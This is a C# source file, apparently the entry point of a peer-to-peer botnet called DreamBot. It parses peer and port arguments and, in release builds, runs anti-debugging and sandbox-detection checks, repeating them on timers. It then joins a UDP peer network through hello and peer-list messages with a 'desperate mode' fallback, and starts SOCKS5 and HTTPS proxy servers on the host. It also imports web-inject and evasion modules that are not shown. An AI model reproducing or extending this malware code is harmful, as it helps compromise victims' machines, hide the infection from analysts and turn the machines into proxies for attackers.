/
DreamBotApp.cs
166 lines (146 loc) · 5.99 KB
/
DreamBotApp.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
using System;
using System.Collections.Generic;
using DreamBot.Actions.Socks5;
using DreamBot.Actions.WebInject;
using DreamBot.Network;
using DreamBot.Network.Comunication;
using DreamBot.Network.Comunication.Listeners;
using DreamBot.Network.Listeners;
using DreamBot.Network.Protocol.Handlers;
using DreamBot.Network.Protocol.Messages;
using DreamBot.Network.Protocol.Messages.System;
using DreamBot.Network.Protocol.Peers;
using DreamBot.System;
using DreamBot.System.Evation;
using DreamBot.Workers;
using MessageType = DreamBot.Network.Protocol.Messages.MessageType;
namespace DreamBot
{
public class DreamBotApp
{
private static DreamBotApp _bot;
public static void Main(string[] args)
{
var idbuf = new byte[16];
new Random().NextBytes(idbuf);
var id = new BotIdentifier(idbuf);
var listenPort = 33333;
var peers = new List<PeerInfo>();
foreach (var arg in args)
{
var v = arg.Substring(1);
switch (arg[0])
{
case 'p':
int.TryParse(v, out listenPort);
break;
case 'c':
foreach (var peerInfo in v.Split(new[]{';'}))
{
peers.Add(PeerInfo.Parse(peerInfo));
}
break;
case 'i':
id = BotIdentifier.Parse(v);
break;
}
}
#if !DEBUG
SystemInfo.CheckIfAlreadyRunning(id);
AntiDebugging.CheckDebugger();
SandboxDetection.CheckIfSandboxed();
#endif
_bot = new DreamBotApp(listenPort, id);
_bot.Bootstrap(peers);
_bot.Run();
var c = Console.ReadKey(true);
while(c.Key != ConsoleKey.Spacebar)
{
_bot.Debug(c.Key);
c = Console.ReadKey(true);
}
}
private void Debug(ConsoleKey key)
{
switch (key)
{
case ConsoleKey.L:
_peerList.Dump();
break;
}
}
private readonly ComunicationManager _comunicationManager;
private readonly PeerManager _peersManager;
private readonly IMessageListener _listener;
private readonly IWorkScheduler _worker;
private readonly PeerList _peerList;
private readonly ConnectivityTester _connectivityTester;
private readonly MessageManager _messagesManager;
private readonly Socks5Server _socks5;
private readonly HttpsProxyServer _https;
public static BotIdentifier BotId;
public DreamBotApp(int port, BotIdentifier id)
{
BotId = id;
Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port);
_worker = new ClientWorker();
_worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1));
_worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3));
_peerList = new PeerList(_worker);
_peerList.DesparadoModeActivated += DesperateModeActivated;
_listener = new MessageListener(port);
_listener.UdpPacketReceived += EnqueueMessage;
_comunicationManager = new ComunicationManager(_listener, _worker);
_peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId);
_messagesManager = new MessageManager(_peersManager);
_messagesManager.Register(0x00, MessageType.Request, typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false);
_messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true);
_messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true);
_messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true);
_messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false);
_socks5 = new Socks5Server(8009);
_https = new HttpsProxyServer(8019);
//_connectivityTester = new ConnectivityTester();
//_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged;
}
private void DesperateModeActivated(object sender, DesparateModeActivatedEventArgs e)
{
Logger.Info(0, "Entering DESPERATE Mode");
foreach (var bot in e.Bots)
{
var hello = new GetPeerListMessage();
_messagesManager.Send(hello, bot, 0);
}
}
public void Bootstrap(List<PeerInfo> peers)
{
Logger.Info(0, "Bootstrapping init. {0} found endpoints", peers.Count);
foreach (var peer in peers)
{
_peerList.TryRegister(peer);
var hello = new HelloMessage();
_messagesManager.Send(hello, peer.BotId, 0);
}
}
public void Run()
{
Logger.Info(0, "Starting DreamBot");
// _worker.Start();
// _listener.Start();
_socks5.Start();
_https.Start();
Logger.Info(0, "DreamBot is running ;)");
}
private void EnqueueMessage(object sender, UdpPacketReceivedEventArgs e)
{
_comunicationManager.Receive(e.EndPoint, e.Data);
}
private void OnConnectivityStatusChanged(object sender, EventArgs eventArgs)
{
if (_connectivityTester.IsConnected)
_worker.Start();
else
_worker.Stop();
}
}
}